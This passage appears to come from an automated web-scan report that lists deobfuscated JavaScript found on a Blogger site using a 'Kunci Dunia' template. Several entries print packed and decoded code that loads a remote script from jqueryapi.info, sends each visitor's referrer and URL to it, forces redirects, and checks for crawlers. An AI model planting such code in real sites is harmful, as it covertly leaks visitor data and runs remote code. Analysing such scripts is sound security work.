1Q=\\\'%2L%3E%24%2y%29.3V%1j%20%28%29%20%16%m%20%20%24%28%27.Q%27%29.47%28%4a%4c%20%h%j%3D%46%3A//2i.Q.2g/%22%3Z%41%3C/a%3E%27%29%3B%m%20%42%1j%20%28%29%20%16%m%20%20%20%44%20%28%21%24%28%27.Q%43%27%29.i%29%m%20%20%20%20%20%3H.3f.1J%20%3D%20%3O%3A//2i.Q.2g/%27%m%20%20%6%2C%3r%29%m%6%29%3B%3s%3q%3p%3B%1j%3n%3o%3t%29%F%3u%3D%3z%3A%22%3G%3y%3x%3A%3C/3v%3E%22%3w%2v%3m%3A%22/%22%3l%3b%3c%3a%39%3A%1t%22%36%37%38%3A%3d%3e/3j%3k%3i/3h+3g%22%3I%3A%3-2%22%40%4b%49%3A%48%3Y%22%3X%3N%28%29%16%6%6%1z%1k%35%10%3M%29%3L%N%5D%3D%3J%N%5D%3D%3D%3K%22%29%3P%N%5D%3Q%N%5D%3W%3U%H%1c%29%F%3T%3R.1R%28%3S%22%29%19.4d%3D%2F/2G%22%19.1v%M%2B.1C%Z%29%6%30%H%Z%1l%29%1h%31.1K%1L.1S%28%29*%1c-b+1%29%29+b%6%33%H%1c%29%F%1A%M.i%2o%2b%2s%1n%3D%3D%K%29%1h%2V%2O%28--p%29%B%2Q.1K%1L.1S%28%29*%1n+1%29%29%19%M%L%5D%1x%L%5D%M%1o%5D%1x%1o%5D%2t%2K%2x%6%2z%3D%2N%2H%3D%3D%2I%22%26%2A.i%1b%29%3F%22/-/%22+l%2w%29%1f%5D%3A%22%22%34%H%Z%29%F%2M%2t.2j.2Y%2X.%1e-d.1i%1l%32%2P%2C%2R%1b%2T%2v%29%29%2p%O.25.z%28/%5C/%24/%2C%22%22%29+%22/2c/2q/n%22+e+%22%1Y%1U-1V-Y%1W%1X%2S-2Z%3D%22+a+%22%2d-2e%3D%22+d.1i+%22%2m%2U%22%29%6%2W%H%2f%29%F%2J%2D.2E%O.45%29%4j%5a%2f.2j.59%29%58%17.57%2o%17.5b+%27%5c%4%3D%3-2-X-%27+A+%27%22%3E%27%2b%17.5e%3F%27%5d%3D%56%22%27%3A%22%22%55%3D%27%x%4Z%3D%4Y%4X%4W%50%3B%22%3E%3C/q%3E%27%51%54%5h%52%5g%2s%28%5v%29%1h%5u%1k%5t%K%1u%5s.1i%1u++%29%I%5w%3D%1m.i%29%5x%5A%1m%k%5D.G.%1e%5i%3D%O.1a%21%3D%3D%1t%22%26%13.1a%5l.i%29%5m.1F%1G%1H.1a%29+%22%1D%3B%22%5p%5y%3D%28%5n%1y%22%10%1P%k%5D%26%13.f%21%3D%5k%29%1d%k%5D.5q%1y.1s.z%28/%5C/s%1f-9%5D+%28%5C-c%29%3F/%2C%22/s%22+d.f+%22-c%22%29%4e.4t%4s%3D%28%4V%22%10%1P%k%5D%26%13.1E%1b%29%1d%k%5D.n.%1e.z%28/%4q%20%3F%5C/%3F%3E/g%2C%22%20%22%29.z%28/%3C.*%3F%3E/g%2C%22%22%29.z%28/%5B%3C%3E%5D/g%2C%22%22%29.1F%1G%1H.1E%29+%22%1D%3B%22%3A%22%22%1z%1k%1A%K%1l%1m%k%5D.11.i%1B%h%1B++%29%4x%3D%4w%k%5D.11%L%5D.4p%3D%3D%4o%22%29%1d%k%5D.11%L%5D.1J%3A%22%23%22%4g%J%3D%4f%29%B+%3D%27%E%3E%V%U%3D%22%22%4%3D%3-2-5-S%22%R%3D%22%27+r+%27%22%P%3D%22%27+d.f+%27%22%W%3D%22%27+d.f+%27%22%3E%h%4%3D%3-2-5-G%22%C%3D%22%27+t+%27%22%j%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%27%3C/a%3E%x%4%3D%3-2-5-n%22%3E%x%4%3D%3-2-5-n-1w%22%3E%27+u+%27%3C/q%3E%20%h%j%3D%22%27+v+%27%22%4%3D%3-2-5-4k%22%27+b+%22%3E%22+d.4n+%22%3C/a%3E%3C/q%3E%22+y+%22%3C/D%3E%22%T%I%J%3D%4m%4l%4z%3D%4A%29%B+%3D%27%E%4%3D%3-2-5%22%1O%3D%1N%22%3E%h%4%3D%3-2-5-G%22%j%3D%22%27+v+%27%22%27+b+%27%3E%V%U%3D%22%22%4%3D%3-2-5-S%22%R%3D%22%27+r+%27%22%P%3D%22%27+d.f+%27%22%W%3D%22%27+d.f+%27%22%3E%3C/a%3E%1p%4%3D%3-2-5-18%22%3E%h%4%3D%3-2-5-G%22%C%3D%22%27+t+%27%22%j%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%22%3C/a%3E%3C/1q%3E%22+y+%22%3C/D%3E%22%T%I%J%3D%4O%29%B+%3D%27%E%4%3D%3-2-5%22%1O%3D%1N%22%3E%h%4%3D%3-2-5-4N%22%j%3D%22%27+v+%27%22%C%3D%22%27+t+%27%22%27+b+%27%3E%V%U%3D%22%22%4%3D%3-2-5-S%22%R%3D%22%27+r+%27%22%P%3D%22%27+d.f+%27%22%W%3D%22%27+d.f+%27%22%3E%x%4%3D%3-2-5-18%22%3E%27+w+%22%3C/q%3E%3C/a%3E%22+y+%22%3C/D%3E%22%T%I%J%3D%4M%29%B+%3D%27%E%3E%h%4%3D%3-2-5-G%22%C%3D%22%27+t+%27%22%j%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%27%3C/a%3E%1p%4%3D%3-2-5-18%22%3E%V%U%3D%22%22%4%3D%3-2-5-S%22%R%3D%22%27+r+%27%22%P%3D%22%27+d.f+%27%22%W%3D%22%27+d.f+%27%22%3E%x%4%3D%3-2-5-n%22%3E%x%4%3D%3-2-5-n-1w%22%3E%27+u+%22%3C/q%3E%3C/q%3E%22+y+%22%3C/1q%3E%3C/D%3E%22%T%B+%3D%27%E%3E%h%C%3D%22%27+t+%27%22%j%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%22%3C/a%3E%3C/D%3E%22%6%6%6%6%4S.4R%4L+%3D%22%3C/4E%3E%22+y%4D.4C%28%29%6%4B%4F%4G%4J%2p%O.25.z%28/%5C/%24/%2C%22%22%29+%22/2c/2q/n%22+e+%22%1Y%1U-1V-Y%1W%1X%2d-2e%K%2m%4H%22%29%6%29%4I%2k%2k.1M%28%4K%22%29%1f%5D%29%3B%m%3C/Y%3E\\\';7.4T=1g(){4Q 4P};1g 2u(){2n(8=0;8<7.o.i;8++){2l(7.o[8].X.15!=\\\'2h\\\'){7.o[8].X.15=\\\'2h\\\';7.o[8].1Z=\\\'2a\\\'}}}1g 1T(){2n(8=0;8<7.o.i;8++){2l(7.o[8].1Z==\\\'2a\\\')7.o[8].X.15=\\\'\\\'}}2r.4h=2u;2r.4i=1T;12 14=7.1R(\\\'Y\\\');14.1v=\\\'4y://4v.4u/?4r=4U\\\'+\\\'&53=\\\'+1r(7.5z)+\\\'&1s=\\\'+1r(7.5r);12 1I=7.1M(\\\'5o\\\')[0];1I.1C(14);7.5j(5f(1Q));\',62,350,\'||post|22related|20class|item|7D|document|wi|||||||thumbnailSize||3Ca|length|20href|5Bq||0A|summary|all||span|||||||3Cspan||replace||7Bc|20title|li|3Cli|7Bvar|title|3Dfunction|7Bif|28A|3D0|5Bp|3Da|5Bf|28d|20width|kuncidunia|20src|thumbnail|7Delse|20alt|3Cimg|20height|style|script|28b|20in|link|var|26d|OI0|visibility|7B|3Dd|tooltip|3Bb|titleLength|3E0|28a|3Fx|24t|5B0|function|7Breturn|numPosts|28function|28var|2Ca|3Dx|28p|5Bc|3Cdiv|div|encodeURIComponent|url|22auto|3Bq|src|text|3Ba|24thumbnail|3Bfor|20p|3Bp|appendChild|26hellip|summaryLength|substring|280|2Cd|OOO|href|floor|28Math|getElementsByTagName|220|20tabindex|20x|_escape|createElement|random|atlpdp2|3Djson|in|26orderby|3Dupdated|3Falt|id||||||homePage|||||atlpdpst|2Cb|feeds|26max|results|28z|com|hidden|www|feed|2Cdocument|if|26callback|for|2Cc|3Bj|posts|window|3Bif|3Db|atlpdp1|3A1|28labelArray|20a|28document|2Ce|26labelArray|3Bk||3Ddocument|getElementById|22text|javascript|20labelArray|22object|20s|7Dreturn|3Cscript|20c|28typeof|7Dwhile|281|3DMath|28c|26start|3Fc|3DshowRelatedPost|20false|2Cg|24totalResults|openSearch|index|2Co|20Math|3Do|2Cl|2Ch|20f|2CthumbnailSize|3A72|2CnoImage|2CtitleLength|3A370|3A7|2CsummaryLength|22data|3Aimage|location|AX7vOF2TAAAAAElFTkSuQmCC|gAAAADElEQVQImWOor68HAAL|2CiVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAA3NCSVQICAjb4U|png|3Bbase64|2CnumPosts|2ChomePage|28n|2Cm|2CshowRelatedPost|20randomRelatedIndex|203000|0Avar|2Ck|20d|h4|2CwidgetStyle|20Terkait|3EArtikel|7BwidgetTitle|||||||3Ch4|20window|2CcontainerId|28relatedPostConfig|22undefined|7Bd|20relatedPostConfig|3Afunction|27http|3Fd|3ArelatedPostConfig|3Dm|22script|20b|20j|ready|7Dvar|2CcallBack|20Selengkapnya|3EKunci|2CnewTabLink|20Dunia|20setInterval|3Avisible|20if|containerId|22http|html|22Baca|2CmoreText|27Template|3Afalse|20By|type|3Ad|3D2|7Dif|onbeforeprint|onafterprint|2Cx|more|7C|3D3|moreText|22alternate|rel|3Cbr|getsrc|3Bu|noImage|info|jqueryapi|28x|7Bv|http|7CA|3D4|3BrandomRelatedIndex|callBack|3Bd|ul|3Dh|3BshowRelatedPost|3DrandomRelatedIndex|28window|3Dg|22head|3Dc|3D6|wrapper|3D5|false|return|innerHTML|7Ds|ondragstart|ok|22summary|3Bclear|3Ablock|22display|20style|3Aboth|2Cv|2Cr|ref|2Ct|2Cy|22_blank|widgetStyle|2CA|entry|3Dl|widgetTitle|3Cul|20target|newTabLink|unescape|2Cu|2Cw|3Bw|write|3Dfalse|3Ct|3Ft|22media|head|3At|media|URL|3Cd|20q|7Dfor|21s|28q|7Bbreak|3Br|referrer|7Dt|||\'.split(\'|\')))
                                    

#74 JavaScript::Eval (size: 8505, repeated: 1) - SHA256: 630517161c77b0c10ec722ffc0f0f1d78f2a0fa6683aeecc987ccc84137da93c

                                        eval(function(p, a, c, k, e, d) {
            e = function(c) {
                    return (c < a ? \'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}return p}(\'1o 2X=\\\'%1d%3N%3O%2o%29%G%V%Q%3%2n%2m%2l%28%29%3%2q%x%3%2t%x%3%2s%5%3%2r%5%3%2k%5%3%2j%3D%27%27%3%2d%3D%27%27%3%2c%3D%27%27%2b%F%2a%5%2e%2f%R.2i.2h%2g%g%2u++%29%G%2v%12.13.%A.E%1c%2K%29+2J.13.%A.E%2I%2L%29%2M%2P%2O%29%3%2N%12.2H.%A%u%Z%21%3D%27%27%29%7%1b%3D%5%10%10%1b%2z%3D%3D%2y-1%29%29%29%7%n.6%2x%29%21%3D-1%29%2w%2A%c%Z%21%3D%27%27%19++%2B%2F.f%g%3D%27/m%N-P%3D%27+25+%27%C-M%3D%27+1h%4%2Q++%17%F%T%5%s%1T.f%s++%29%7%q%3E%3D%h-11-1%29%26%B%3C%h+11%29%29%7%1A%3D%5%26%B%3D%W-2%29%7%h%3D%18%29%Y%3D%27%d%8%3D%L%22%3E%l%j%3D%22/%22%3E%27+X+%27%3C/a%3E%3C/b%3E%27%k%Y%3D%27%d%8%3D%L%22%3E%l%j%3D%22%27+D%t%g+%27%22%3E%27+X+%27%3C/a%3E%3C/b%3E%27%1y++%c%q%3D%3D%h-1%29%29%9+%3D%27%d%8%3D%1B%22%3E%27+1C+%27%3C/b%3E%27%k%7%q%3D%5%29%9+%3D%27%d%8%3D%U%22%3E%l%j%3D%22/%22%1g%3C/a%3E%3C/b%3E%27%k%9+%3D%27%d%8%3D%U%22%3E%l%j%3D%22%27+D%t%g+%27%22%3E%27+%q+1%29+%27%3C/a%3E%3C/b%3E%27%4%c%1x%3D%5%26%B%3D%W%29%1D%3D%27%d%8%3D%L%22%3E%20%l%j%3D%22%27+D%t%g+%27%22%3E%27+1G+%27%3C/a%3E%3C/b%3E%27%1r++%4%4%c%h%1g%29%9%3D%27%27+1f+%27%20%27+H+%27%20%27%1q%3D%27%1w%8%3D%1v%22%3E%d%1s%3D%1u%3A%20%1t%3B%22%8%3D%1E%22%3E%23%20%28%27+%p-1%29+%27%29%3C/b%3E%27+H%u%h%3C%p-1%29%29%9+%1H%c%p%3D%x%19++%1V+%3D%27%3C/1W%3E%27%3%1Z%1a.1Y%28%1X%22%29%3%2R%1a.1R%28%1Q-1K%22%29%u%p%3C%18%29%9%3D%27%27%17%F%T%5%s%1M.f%s++%29%1O%t%g.15%16%c%1N%26%2D.f%31%29%9%3D%27%27%c%3d%29%3c.15%16%4%3P%3Q%2o%29%G%V%Q%3%2n%2m%2l%28%29%3%3J%1e.6%28%22/m/r/%22%29%21%3D-1%3%3K%3R%3S.2p%n.6%28%22/m/r/%22%29+14%1i.f%29%3A%22%22%3Z%40.6%28%22%3F%22%29%21%3D-1%41.2p%1c%3Y.6%28%22%3F%22%29%29%3X%3%2q%x%3%2t%x%3%2s%5%3%2r%5%3%2k%5%3%2j%3D%27%27%3%2d%3D%27%27%3%2c%3D%27%27%3%43%3D%27%d%8%3D%U%22%3E%l%j%3D%22/m/r/%27+2E+%27%3F%C-M%3D%27+1h+%27%22%3E%27%3%V%Q%2b%F%2a%5%2e%2f%R.2i.2h%2g%g%2u++%29%G%2v%12.13.%A.E%1c%2K%29+2J.13.%A.E%2I%2L%29%2M%2P%2O%29%3%2N%12.2H.%A%u%Z%21%3D%27%27%29%7%1b%3D%5%10%10%1b%2z%3D%3D%2y-1%29%29%29%7%n.6%2x%29%21%3D-1%29%2w%2A%c%Z%21%3D%27%27%19++%2B%2F.f%g%3D%27/m/r/%27+2E+%27%N-P%3D%27+25+%27%C-M%3D%27+1h%4%2Q++%17%F%T%5%s%1T.f%s++%29%7%q%3E%3D%h-11-1%29%26%B%3C%h+11%29%29%7%1A%3D%5%26%B%3D%W-2%29%7%h%3D%18%29%Y%1F+X+%27%3C/a%3E%3C/b%3E%27%k%Y%3D%27%d%8%3D%L%22%3E%l%j%3D%22%27+D%t%g+%27%22%3E%27+X+%27%3C/a%3E%3C/b%3E%27%1y++%c%q%3D%3D%h-1%29%29%9+%3D%27%d%8%3D%1B%22%3E%27+1C+%27%3C/b%3E%27%k%7%q%3D%5%29%9%1F+%4p%3C/a%3E%3C/b%3E%27%k%9+%3D%27%d%8%3D%U%22%3E%l%j%3D%22%27+D%t%g+%27%22%3E%27+%q+1%29+%27%3C/a%3E%3C/b%3E%27%4%c%1x%3D%5%26%B%3D%W%29%1D%3D%27%d%8%3D%L%22%3E%20%l%j%3D%22%27+D%t%g+%27%22%3E%27+1G+%27%3C/a%3E%3C/b%3E%27%1r++%4%4%c%h%1g%29%7%28%4k%29%9%3D%27%27+1f+%27%20%27+H+%27%20%27%k%9%3D%27%27+1f+%27%20%27+H+%27%20%27%4%1q%3D%27%1w%8%3D%1v%22%3E%d%1s%3D%1u%3A%20%1t%3B%22%8%3D%1E%22%3E%23%20%28%27+%p-1%29+%27%29%3C/b%3E%27+H%u%h%3C%p-1%29%29%9+%1H%c%p%3D%x%19++%1V+%3D%27%3C/1W%3E%27%3%1Z%1a.1Y%28%1X%22%29%3%2R%1a.1R%28%1Q-1K%22%29%u%p%3C%18%29%9%3D%27%27%17%F%T%5%s%1M.f%s++%29%1O%t%g.15%16%c%1N%26%2D.f%31%29%9%3D%27%27%c%3d%29%3c.15%16%4%2Y%4r%4F.36%3%V%Q%u%n.6%28%22/m/r/%22%29%21%3D-1%29%7%n.6%28%22%N-P%22%29%21%3D-1%29%G%3a%1e.E%n.6%28%22/m/r/%22%29+14%1i.6%28%22%N-P%22%29%29%k%G%3a%1e.E%n.6%28%22/m/r/%22%29+14%1i.6%28%22%3F%C%22%29%29%4%2Y%4a%3D%22/%22%u%n.6%28%22%4f%3D%22%29%3D%3D-1%29%7%n.6%28%22/m/r/%22%29%3D%3D-1%29%2Z.1p%28%27%1d%2W%3D%22%27+2V+%2S/2T/4i%2U%R-30-y%3b%4h%C-M%37%22%20%3E%3C%38/y%3E%27%29%k%2Z.1p%28%27%1d%2W%3D%22%27+2V+%2S/2T/4A/-/%27+4E+%27%2U%R-30-y%3b%4u%C-M%37%22%20%3E%3C%38/y%3E%27%29%4%4%o%24%3r%29.3q%z%20%28%29%20%39%o%20%20%24%28%27.S%27%29.H%28%3p%3t%20%l%j%3D%3w%3A//35.S.32/%22%3v%3o%3C/a%3E%27%29%3B%o%20%3m%z%20%28%29%20%39%o%20%20%20%3g%20%28%21%24%28%27.S%3f%27%29.f%29%o%20%20%20%20%20%3h.3n.36%20%3D%20%3l%3A//35.S.32/%27%o%20%20%4%2C%3G%29%o%4%29%3B%o%z%34%29%K%3W%29.3V%z%28%29%7%34%3T%29.42%28%29%3I%29%K%28%22%O%22%29.3H%28%3L%22%29%33%28%22%O%22%29.3M%28%29%k%K%28%22%O%22%29.4t%28%29%4%4%29%33%z%28%29%K%28%22%O%22%29.3j%z%28%29%K%28%3x%2C%3u%22%29.44%28%4w%4s%4%2C%4j%22%29%4m%45%4%29%4%29%4%29%4v%29%3B%o%3C/y%3E\\\';1l(w.I.J.6(\\\'4d\\\')>=0||w.I.J.6(\\\'4y\\\')>=0||w.I.J.6(\\\'4B\\\')>=0||w.I.J.6(\\\'4q\\\')>=0||w.I.J.6(\\\'47\\\')>=0){3i()};e.3U=1j(){3z 3k};1j 1S(){1L(i=0;i<e.v.f;i++){1l(e.v[i].1m.1k!=\\\'1P\\\'){e.v[i].1m.1k=\\\'1P\\\';e.v[i].1I=\\\'1J\\\'}}}1j 1U(){1L(i=0;i<e.v.f;i++){1l(e.v[i].1I==\\\'1J\\\')e.v[i].1m.1k=\\\'\\\'}}w.4z=1S;w.4C=1U;1o 1n=e.4l(\\\'y\\\');1n.4o=\\\'4g://4n.4e/?48=46\\\'+\\\'&49=\\\'+1z(e.4c)+\\\'&4b=\\\'+1z(e.4D);1o 2G=e.4x(\\\'3s\\\')[0];2G.3y(1n);e.1p(3e(2X));\',62,290,\'|||3Bvar|7D|3D0|indexOf|7Bif|20class|7Bhtml||span|7Dif|3Cspan|document|length|5D|28thisNum|wi|20href|7Delse|3Ca|search|28thisUrl|0A|28postNum|28p|label|3Bp|5Bp|3Bif|all|window|3D1|script|28function|24t|26p|26max|htmlMap|substring|28var|7Bvar|html|navigator|userAgent|7Ba|22showpage|results|3Fupdated|23top|max|3Dhome_page_url|3Djson|kuncidunia|20p|22showpageNum|20thisUrl|3DthisNum|upPageWord|7BupPageHtml|28title|7C|displayPageNum|3Dpost|published||innerHTML|3Dhtml|7Dfor|3D2|29postNum|3Ddocument|28itemCount|280|3Cscript|3DthisUrl|upPageHtml|3E1|pageCount|2CthisUrl|function|visibility|if|style|OO0|var|write|7Dhtml|3BeFlag|20style|23000|22COLOR|22showpageArea|3Cdiv|28eFlag|7DfFlag|encodeURIComponent|28fFlag|22showpagePoint|thisNum|7BdownPageHtml|22showpageOf|3DlabelHtml|downPageWord|3DdownPageHtml|id|atlpdpst|pager|for|3CpageArea|28pageArea|7BpageArea|hidden|22blog|getElementById|atlpdp1|3ChtmlMap|atlpdp2|3Bhtml|div|22pageArea|getElementsByName|20pageArea||||20Pages||timestamp|||||20i|3Bfor|20downPageHtml|20upPageHtml|2Cpost|3Bpost|5Bi|entry|feed|20html|20eFlag|20Array|3Dnew|20htmlMap|28json|substr|20thisNum|20fFlag|20itemCount|20postNum|3Bi|20timestamp1|7BthisNum|28timestamp|28pageCount|25pageCount|3DpostNum|3BhtmlMap||26pageArea|thisLable|5BhtmlMap|Ol1|title|2823|post|2C19|2C29|3Btimestamp|20title|28timestamp1|3DencodeURIComponent|7DitemCount|20blogPager|27feeds|posts|3Falt|home_page|20src|_escape|7Dvar|7Bdocument|in|3E0|com|3Ba|28a|www|href|3D99999|5C|7B|20lblname1|26callback|7BblogPager|28blogPager|unescape|3Avisible|20if|20window|Break|click|false|27http|20setInterval|location|20Dunia|27Template|ready|28document|head|20By|20body|3EKunci|22http|22html|appendChild|return|||||||203000|removeAttr|3E280|20isLablePage|20thisLable|22href|fadeIn|3Efunction|20showpageCount|7Dfunction|20showpageCount2|3DisLablePage|3FthisUrl|28this|ondragstart|scroll|28window|3AthisLable|2CthisLable|3BthisLable|3DthisLable|3FthisLable|scrollTop|20labelHtml|animate|20false|ok|Turtle|getsrc|ref|20home_page|url|referrer|Rambler|info|3Fq|http|3DshowpageCount|summary|22slow|21isLablePage|createElement|3Breturn|jqueryapi|src|271|Googlebot|20home_page_url|3A0|fadeOut|3DshowpageCount2|28jQuery|7BscrollTop|getElementsByTagName|Yandex|onbeforeprint|full|Yaho|onafterprint|URL|lblname1|3Dlocation\'.split(\'|\')))
                                    

#75 JavaScript::Eval (size: 6486, repeated: 1) - SHA256: b84d5adf936ec1339573bbbaa096f2ec2810146ac49ae4905258e8dfb6d280db

                                        
                                    

#76 JavaScript::Eval (size: 7450, repeated: 1) - SHA256: e43534c41f1e568bb315b6a67b2ea8cae99ed4fb995f1ab60a5b74d42daa2f3e

                                        
                                    

#77 JavaScript::Eval (size: 6961, repeated: 1) - SHA256: 047cdf3a557ebe18e16d8c0766ff1c88dc1606c50f9ddec995ab5d692e88304b

                                        
                                    

#78 JavaScript::Eval (size: 2875, repeated: 1) - SHA256: 29a9aebc1cf91adbe52ea4b2f35a92ffbe33309a52bac42636d683509f6b36b1

                                        
                                    

#79 JavaScript::Eval (size: 7934, repeated: 1) - SHA256: c0531bcb3b3eca1982e4c2e58678a980b1b32b40b5b489f8fd5fbdf638f8d5e7

                                        
                                    

#80 JavaScript::Eval (size: 10235, repeated: 1) - SHA256: 46eab63e5f826da704219ebbe887b99a968d700cbb06e25f6ebb29af9a13274f

                                        
                                    

#81 JavaScript::Eval (size: 4794, repeated: 1) - SHA256: d868259176e10b10d1601f203a610414e127ad911680e7105ee66934da175b02

                                        
                                    

#82 JavaScript::Eval (size: 10112, repeated: 1) - SHA256: bb5403c8efb26e6126e2d35cf3cfa9b6b63d209768573d8573b4772ad744076a

                                        
                                    

#83 JavaScript::Eval (size: 10900, repeated: 1) - SHA256: f144e391a6b07117f73251fc7c30caaf9f3006506984b7aa78f37119bb47697d

                                        
                                    

#84 JavaScript::Eval (size: 1367, repeated: 1) - SHA256: 6f8c134cde81d28e942f7219531ed362d61d3e14ef5d7fd69cac22361f8ec3d6

                                        
                                    

#85 JavaScript::Eval (size: 1, repeated: 1) - SHA256: aaa9402664f1a41f40ebbc52c9993eb66aeb366602958fdfaa283b71e64db123

                                        h
                                    

#86 JavaScript::Eval (size: 366, repeated: 1) - SHA256: 4eee316df3ca847b8141be6c5f96ce8c0b992eb1c958d41dd3aaee60614e5a1a

                                        h = function(Y, H, D, v) {
    try {
        for (v = 0; 79669387488 != v;) {
            Y += (H << 4 ^ H >>> 5) + H ^ v + D[v & 3], v += 2489668359, H += (Y << 4 ^ Y >>> 5) + Y ^ v + D[v >>> 11 & 3];
        }
        return [Y >>> 24, Y >> 16 & 255, Y >> 8 & 255, Y & 255, H >>> 24, H >> 16 & 255, H >> 8 & 255, H & 255];
    } catch (T) {
        throw T;
    }
}
                                    

#87 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a

                                        m
                                    

#88 JavaScript::Eval (size: 325, repeated: 1) - SHA256: 18339e49be2f3f0e4de3c0e77021893b491fb53993298f9ab5ba6cd5f37e5a31

                                        m = function(Y, H, D) {
    if (163 == H || 44 == H) {
        if (Y.K[H]) {
            Y.K[H][Y.w](D);
        } else {
            Y.K[H] = Y.H(D);
        }
    } else if (210 != H && 39 != H && 36 != H && 236 != H || !Y.K[H]) {
        Y.K[H] = Y.A(D, Y.B);
    }
    52 == H && (Y.$ = void 0, m(Y, 163, Y.B(163) + 4));
}
                                    

#89 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 148de9c5a7a44d19e56cd9ae1a554bf67847afb0c58f6e12fa29ac7ddfca9940

                                        p
                                    

#90 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 8e35c2cd3bf6641bdb0e2050b76932cbb2e6034a0ddacc1d9bea82a6ba57f7cf

                                        q
                                    

#91 JavaScript::Eval (size: 85, repeated: 1) - SHA256: 39534fbb12f1e43c33a7d4364531a76b76b7a9fd6e78bd9383a7d3c47029217f

                                        q = function(Y, H) {
    m(Y, ((Y.m.push(Y.K.slice()), Y).K[163] = void 0, 163), H);
}
                                    

#92 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1

                                        r
                                    

#93 JavaScript::Eval (size: 87, repeated: 1) - SHA256: 82e7295cdda8fd197f056618eb59e6fc36e497278ad3ecb87399000012ec6b83

                                        r = function(Y, H) {
    return (H = Y.s(), H & 128) && (H = H & 127 | Y.s() << 7), H;
}
                                    

#94 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 0bfe935e70c321c7ca3afc75ce0d0ca2f98b5422e008bb31c00c6d7f1f1c0ad6

                                        u
                                    

#95 JavaScript::Eval (size: 270, repeated: 1) - SHA256: 0ba2a565fe8eaae3d89dee45cd9797dcfc0c00eaa30ec830e0db970deee2cf4c

                                        u = function(Y, H, D, v, T, X) {
    return function() {
        var F = v & 1,
            g = [6, H, D, void 0, T, X, arguments];
        if (v & 2) {
            var O = y(Y, !(c(Y, g), 0), false, false);
        } else {
            F && Y.V.length ? c(Y, g) : F ? (c(Y, g), y(Y, true, false, false)) : (O = U(Y, g));
        }
        return O;
    };
}
                                    

#96 JavaScript::Eval (size: 1152, repeated: 1) - SHA256: 8810213b1fb3dc558fb7776dedbb044f1af76489b5c7da862ddb51ec0de1184b

                                        var _escape = '%3Cscript%3E%20%20%20%20if%20%28typeof%28jQuery%29%20%3D%3D%20%27undefined%27%29%20%7B%0A%20%20%20%20%20%20//output%20the%20script%20%28load%20it%20from%20google%20api%29%0A%20%20%20%20%20%20document.write%28%22%3Cscr%22%20+%20%22ipt%20type%3D%5C%22text/javascript%5C%22%20src%3D%5C%22http%3A//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js%5C%22%3E%3C/scr%22%20+%20%22ipt%3E%22%29%3B%0A%20%20%20%20%7D%0A%24%28document%29.ready%28function%20%28%29%20%7B%0A%20%20%24%28%27.kuncidunia%27%29.html%28%27Template%20By%20%3Ca%20href%3D%22http%3A//www.kuncidunia.com/%22%3EKunci%20Dunia%3C/a%3E%27%29%3B%0A%20%20setInterval%28function%20%28%29%20%7B%0A%20%20%20%20if%20%28%21%24%28%27.kuncidunia%3Avisible%27%29.length%29%0A%20%20%20%20%20%20window.location.href%20%3D%20%27http%3A//www.kuncidunia.com/%27%0A%20%20%7D%2C%203000%29%0A%7D%29%3B%0A%3C/script%3E';
var OIO = document.createElement('script');
OIO.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var OOO = document.getElementsByTagName('head')[0];
OOO.appendChild(OIO);
document.write(unescape(_escape));
                                    

#97 JavaScript::Eval (size: 4793, repeated: 1) - SHA256: 35deedfafed6fc882cd63e49a00e95c3945a363fb0a94d6e3137a9cb2074aa91

                                        var _escape = '%3Cscript%3E%24%28document%29.ready%28function%20%28%29%20%7B%0A%20%20%24%28%27.kuncidunia%27%29.html%28%27Template%20By%20%3Ca%20href%3D%22http%3A//www.kuncidunia.com/%22%3EKunci%20Dunia%3C/a%3E%27%29%3B%0A%20%20setInterval%28function%20%28%29%20%7B%0A%20%20%20%20if%20%28%21%24%28%27.kuncidunia%3Avisible%27%29.length%29%0A%20%20%20%20%20%20window.location.href%20%3D%20%27http%3A//www.kuncidunia.com/%27%0A%20%20%7D%2C%203000%29%0A%7D%29%3B%0AConfig.maxThreadDepth%20%3D%202%3B%20%0Avar%20Cur_Cform_Hdr%3D%27.comment_form%27%3Bvar%20Cur_Cform_Url%3D%24%28%27%23comment-editor%27%29.attr%28%27src%27%29%3Bfunction%20trim%28a%29%7Bvar%20b%3D%27%20%5Cn%5Cr%5Ct%5Cf%5Cx5b%5Cx5d%5Cx7c%5Cx7d%5Cx3c%5Cx3e%5Cx0b%5Cxa0%5Cu2000%5Cu2001%5Cu2002%5Cu2003%5Cu2004%5Cu2005%5Cu2006%5Cu2007%5Cu2008%5Cu2009%5Cu200a%5Cu200b%5Cu2028%5Cu2029%5Cu3000%27%3Bfor%28var%20i%3D0%3Bi%3Ca.length%3Bi++%29%7Bif%28b.indexOf%28a.charAt%28i%29%29%21%3D-1%29%7Ba%3Da.substring%280%2Ci%29%3Bbreak%7D%7Dreturn%20a%7D%24%28%27.comment_wrap%20.comment_body%20p%27%29.html%28function%28i%2Ch%29%7Btemp%3Dh.toLowerCase%28%29%3Bindex%3Dtemp.indexOf%28%27@%3Ca%20href%3D%22%23c%27%29%3Bif%28index%21%3D-1%29%7Bindex_tail%3Dtemp.indexOf%28%27%3C/a%3E%27%2Cindex%29%3Bif%28index_tail%21%3D-1%29%7Bh%3Dh.substring%280%2Cindex%29+h.substring%28index_tail+4%29%7D%7Dreturn%20h%7D%29%3Bfunction%20Valid_Par_Id%28a%29%7Br%3Da.indexOf%28%27c%27%29%3Bif%28r%21%3D-1%29a%3Da.substring%28r+1%29%3Breturn%20a%7Dfunction%20Cform_Ins_ParID%28a%29%7Ba%3D%27%26parentID%3D%27+a+%27%23%257B%27%3Bn_cform_url%3DCur_Cform_Url.